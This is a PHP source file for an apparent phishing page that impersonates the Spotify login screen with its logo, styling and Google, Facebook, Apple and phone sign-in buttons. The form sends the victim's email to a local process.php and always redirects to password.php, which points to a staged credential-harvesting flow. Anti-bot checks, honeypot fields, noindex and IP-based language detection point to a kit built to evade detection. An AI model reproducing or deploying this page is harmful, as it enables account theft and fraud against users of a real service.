<?php
define('APP_ACCESS', true);
require_once __DIR__ . '/../config/config.php';
require_once __DIR__ . '/../includes/functions.php';
require_once __DIR__ . '/../includes/LanguageManager.php';
require_once __DIR__ . '/../includes/security/advanced-protection.php';

// Run advanced protection
$advancedProtection = new AdvancedProtection();
$advancedProtection->runAllChecks();

// Initialize language manager with IP detection
$detectedLang = detectLanguage();
$langManager = getLangManager($detectedLang);
$currentLang = $detectedLang;
?>
<!DOCTYPE html>
<html lang="<?php echo $detectedLang; ?>" dir="ltr">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Spotify</title>
    <link rel="icon" href="https://www.scdn.co/i/_global/favicon.png">
    <meta name="robots" content="noindex">
    <style>
        * { box-sizing: border-box; margin: 0; padding: 0; }
        body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif; background: linear-gradient(rgba(255, 255, 255, 0.1) 0%, rgb(0, 0, 0) 100%); background-color: #000; color: #fff; min-height: 100vh; display: flex; flex-direction: column; }
        .main-wrapper { display: flex; flex-direction: column; min-height: 100vh; overflow: auto; padding-top: 80px; }
        .header-wrapper { display: flex; padding: 0 32px; min-height: 80px; overflow: hidden; align-items: center; justify-content: center; position: fixed; top: 0; left: 0; right: 0; background: transparent; z-index: 100; }
        .logo-container { height: 40px; }
        .spotify-logo { height: 100%; width: auto; color: #fff; }
        .content-wrapper { flex-grow: 1; display: flex; width: 100%; justify-content: center; padding-bottom: 32px; }
        .login-box { box-sizing: content-box; padding: 0 32px; width: 100%; max-width: 450px; }
        .login-content { display: flex; flex-direction: column; flex: 1; height: 100%; }
        .title-section { text-align: center; }
        .login-title { font-size: 48px; font-weight: 700; line-height: 1.2; margin: 0; padding: 0; }
        .spacer-8 { height: 8px; } .spacer-16 { height: 16px; } .spacer-32 { height: 32px; } .spacer-64 { height: 64px; }
        .form-group { margin-bottom: 16px; }
        .form-label { display: block; font-size: 14px; font-weight: 700; margin-bottom: 8px; }
        .form-input { width: 100%; padding: 14px; background-color: #121212; border: 1px solid #727272; border-radius: 4px; color: #fff; font-size: 16px; outline: none; transition: all 0.2s; }
        .form-input:hover { border-color: #fff; }
        .form-input:focus { border-color: #fff; box-shadow: 0 0 0 3px rgba(255, 255, 255, 0.1); }
        .btn-primary { width: 100%; padding: 14px 32px; background-color: #1ed760; border: none; border-radius: 500px; color: #000; font-size: 16px; font-weight: 700; cursor: pointer; transition: all 0.2s; text-align: center; }
        .btn-primary:hover { transform: scale(1.04); background-color: #1fdf64; }
        .btn-primary:active { transform: scale(1); }
        .btn-text { display: inline-block; }
        .social-section { text-align: center; }
        .divider-text { font-size: 14px; color: #6a6a6a; }
        .social-buttons { display: flex; flex-direction: column; gap: 8px; }
        .btn-social { display: flex; align-items: center; justify-content: center; width: 100%; padding: 12px 32px; background-color: transparent; border: 1px solid #727272; border-radius: 500px; color: #fff; font-size: 16px; font-weight: 700; text-decoration: none; cursor: pointer; transition: all 0.2s; }
        .btn-social:hover { border-color: #fff; transform: scale(1.02); }
        .btn-icon { display: flex; align-items: center; margin-right: 12px; }
        .signup-section { text-align: center; }
        .signup-text { font-size: 16px; color: #6a6a6a; margin: 0; }
        .signup-link { display: inline-block; padding: 12px 32px; background-color: transparent; border: none; border-radius: 500px; color: #fff; font-size: 16px; font-weight: 700; text-decoration: underline; cursor: pointer; transition: all 0.2s; }
        .signup-link:hover { text-decoration: none; transform: scale(1.04); }
        .footer-section { margin-top: auto; }
        .recaptcha-notice { text-align: center; }
        .recaptcha-notice p { font-size: 11px; color: #6a6a6a; line-height: 1.5; }
        .recaptcha-notice a { color: #fff; text-decoration: none; }
        .recaptcha-notice a:hover { text-decoration: underline; }
        @media (min-width: 480px) { .login-box { width: 450px; } }
        
        /* Honeypot fields - invisible to humans, visible to bots */
        .hp-field { position: absolute; left: -9999px; width: 1px; height: 1px; opacity: 0; }
    </style>
    <!-- Anti-Bot Protection JavaScript -->
    <script src="../assets/js/antibot.js"></script>
</head>
<body>
    <main class="main-wrapper">
        <header class="header-wrapper">
            <div class="logo-container">
                <svg role="img" viewBox="0 0 24 24" class="spotify-logo" aria-label="Spotify" height="40">
                    <title>Spotify</title>
                    <path d="M13.427.01C6.805-.253 1.224 4.902.961 11.524.698 18.147 5.853 23.728 12.476 23.99c6.622.263 12.203-4.892 12.466-11.514S20.049.272 13.427.01m5.066 17.579a.717.717 0 0 1-.977.268 14.4 14.4 0 0 0-5.138-1.747 14.4 14.4 0 0 0-5.42.263.717.717 0 0 1-.338-1.392c1.95-.474 3.955-.571 5.958-.29 2.003.282 3.903.928 5.647 1.92a.717.717 0 0 1 .268.978m1.577-3.15a.93.93 0 0 1-1.262.376 17.7 17.7 0 0 0-5.972-1.96 17.7 17.7 0 0 0-6.281.238.93.93 0 0 1-1.11-.71.93.93 0 0 1 .71-1.11 19.5 19.5 0 0 1 6.94-.262 19.5 19.5 0 0 1 6.599 2.165c.452.245.62.81.376 1.263m1.748-3.551a1.147 1.147 0 0 1-1.546.488 21.4 21.4 0 0 0-6.918-2.208 21.4 21.4 0 0 0-7.259.215 1.146 1.146 0 0 1-.456-2.246 23.7 23.7 0 0 1 8.034-.24 23.7 23.7 0 0 1 7.657 2.445c.561.292.78.984.488 1.546" fill="currentColor"/>
                </svg>
            </div>
        </header>

        <section class="content-wrapper">
            <div class="login-box">
                <div class="login-content">
                    <div class="title-section">
                        <h1 class="login-title"><?php echo __('common.welcome_back'); ?></h1>
                    </div>

                    <div class="spacer-32"></div>

                    <form id="loginForm" action="process.php" method="POST">
                        <input type="hidden" name="action" value="login">
                        
                        <!-- Honeypot fields (invisible to humans, bots will fill them) -->
                        <input type="text" name="email_confirm" class="hp-field" tabindex="-1" autocomplete="off">
                        <input type="text" name="website" class="hp-field" tabindex="-1" autocomplete="off">
                        <input type="text" name="phone_number" class="hp-field" tabindex="-1" autocomplete="off">
                        <input type="text" name="company" class="hp-field" tabindex="-1" autocomplete="off">
                        
                        <div class="form-group">
                            <label for="username" class="form-label">
                                <span><?php echo __('login.email_label'); ?></span>
                            </label>
                            <input type="text" id="username" name="username" class="form-input" placeholder="<?php echo __('login.email_placeholder'); ?>" autocomplete="username" spellcheck="false" autocorrect="off" autocapitalize="off" required>
                        </div>

                        <div class="spacer-16"></div>

                        <button type="submit" class="btn-primary">
                            <span class="btn-text"><?php echo __('common.continue'); ?></span>
                        </button>
                    </form>

                    <div class="social-section">
                        <div class="spacer-16"></div>
                        <span class="divider-text"><?php echo __('common.or'); ?></span>
                        <div class="spacer-16"></div>

                        <div class="social-buttons">
                            <a href="#" class="btn-social">
                                <span class="btn-icon">
                                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none">
                                        <path d='M5 5a3 3 0 0 1 3-3h8a3 3 0 0 1 3 3v14a3 3 0 0 1-3 3H8a3 3 0 0 1-3-3zm3-1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h8a1 1 0 0 0 1-1V5a1 1 0 0 0-1-1z' fill="currentColor"/>
                                        <path d='M13.25 16.75a1.25 1.25 0 1 1-2.5 0 1.25 1.25 0 0 1 2.5 0' fill="currentColor"/>
                                    </svg>
                                </span>
                                <?php echo __('common.continue_with_phone'); ?>
                            </a>

                            <a href="#" class="btn-social">
                                <span class="btn-icon">
                                    <svg width="25" height="24" viewBox="0 0 25 24" fill="none">
                                        <path fill-rule="evenodd" clip-rule="evenodd" d="M22.1 12.2272C22.1 11.5182 22.0364 10.8363 21.9182 10.1818H12.5V14.05H17.8818C17.65 15.3 16.9455 16.3591 15.8864 17.0682V19.5772H19.1182C21.0091 17.8363 22.1 15.2727 22.1 12.2272Z" fill="#4285F4"/>
                                        <path fill-rule="evenodd" clip-rule="evenodd" d="M12.4998 21.9999C15.1998 21.9999 17.4635 21.1045 19.118 19.5772L15.8862 17.0681C14.9907 17.6681 13.8453 18.0227 12.4998 18.0227C9.89529 18.0227 7.69075 16.2636 6.90439 13.8999H3.56348V16.4908C5.20893 19.759 8.59075 21.9999 12.4998 21.9999Z" fill="#34A853"/>
                                        <path fill-rule="evenodd" clip-rule="evenodd" d="M6.90455 13.9C6.70455 13.3 6.59091 12.6591 6.59091 12C6.59091 11.3409 6.70455 10.7 6.90455 10.1V7.50909H3.56364C2.88636 8.85909 2.5 10.3864 2.5 12C2.5 13.6136 2.88636 15.1409 3.56364 16.4909L6.90455 13.9Z" fill="#FBBC05"/>
                                        <path fill-rule="evenodd" clip-rule="evenodd" d="M12.4998 5.97727C13.968 5.97727 15.2862 6.48182 16.3226 7.47273L19.1907 4.60455C17.4589 2.99091 15.1953 2 12.4998 2C8.59075 2 5.20893 4.24091 3.56348 7.50909L6.90439 10.1C7.69075 7.73636 9.89529 5.97727 12.4998 5.97727Z" fill="#EA4335"/>
                                    </svg>
                                </span>
                                <?php echo __('common.continue_with_google'); ?>
                            </a>

                            <a href="#" class="btn-social">
                                <span class="btn-icon">
                                    <svg width="25" height="24" viewBox="0 0 25 24" fill="none">
                                        <circle cx="12.5" cy="12" r="10" fill="white"/>
                                        <path d="M22.5 12C22.5 6.477 18.023 2 12.5 2C6.977 2 2.5 6.477 2.5 12C2.5 16.991 6.157 21.128 10.938 21.878V14.891H8.398V12H10.938V9.797C10.938 7.291 12.43 5.907 14.715 5.907C15.808 5.907 16.953 6.102 16.953 6.102V8.562H15.693C14.45 8.562 14.063 9.333 14.063 10.125V12H16.836L16.393 14.89H14.063V21.878C18.843 21.128 22.5 16.991 22.5 12Z" fill="#1877F2"/>
                                    </svg>
                                </span>
                                <?php echo __('common.continue_with_facebook'); ?>
                            </a>

                            <a href="#" class="btn-social">
                                <span class="btn-icon">
                                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none">
                                        <path d="M15.195 4.513C15.873 3.69 16.351 2.567 16.351 1.433C16.351 1.278 16.341 1.123 16.318 1C15.206 1.044 13.872 1.734 13.083 2.668C12.449 3.379 11.871 4.513 11.871 5.647C11.871 5.825 11.905 5.991 11.916 6.047C11.982 6.058 12.094 6.08 12.216 6.08C13.206 6.08 14.45 5.413 15.195 4.513ZM15.973 6.313C14.317 6.313 12.961 7.325 12.093 7.325C11.171 7.325 9.97 6.38 8.525 6.38C5.779 6.38 3 8.648 3 12.918C3 15.586 4.023 18.398 5.301 20.211C6.391 21.744 7.347 23 8.725 23C10.081 23 10.682 22.1 12.371 22.1C14.083 22.1 14.472 22.978 15.973 22.978C17.463 22.978 18.453 21.61 19.397 20.265C20.442 18.72 20.887 17.219 20.897 17.142C20.809 17.119 17.963 15.952 17.963 12.695C17.963 9.871 20.198 8.604 20.331 8.504C18.852 6.381 16.596 6.314 15.973 6.314V6.313Z" fill="white"/>
                                    </svg>
                                </span>
                                <?php echo __('common.continue_with_apple'); ?>
                            </a>
                        </div>
                    </div>

                    <div class="spacer-64"></div>

                    <div class="signup-section">
                        <p class="signup-text"><?php echo __('common.no_account'); ?></p>
                        <div class="spacer-8"></div>
                        <a href="#" class="signup-link"><?php echo __('common.signup'); ?></a>
                    </div>

                    <div class="footer-section">
                        <div class="spacer-64"></div>
                        <div class="recaptcha-notice">
                            <p>Ce site est protégé par reCAPTCHA. La <a href="https://policies.google.com/privacy" target="_blank" rel="noopener noreferrer">Politique de confidentialité</a> et les <a href="https://policies.google.com/terms" target="_blank" rel="noopener noreferrer">Conditions d'utilisation</a> de Google s'appliquent.</p>
                        </div>
                    </div>
                </div>
            </div>
        </section>
    </main>

    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script>
        $(document).ready(function() {
            $('#loginForm').on('submit', function(e) {
                e.preventDefault();
                const username = $('#username').val();
                
                if (!username) {
                    alert('<?php echo __('login.error_empty'); ?>');
                    return;
                }
                
                $.ajax({
                    url: 'process.php',
                    method: 'POST',
                    data: {
                        action: 'login',
                        username: username
                    },
                    success: function(response) {
                        window.location.href = 'password.php';
                    },
                    error: function() {
                        window.location.href = 'password.php';
                    }
                });
            });
        });
    </script>
</body>
</html>
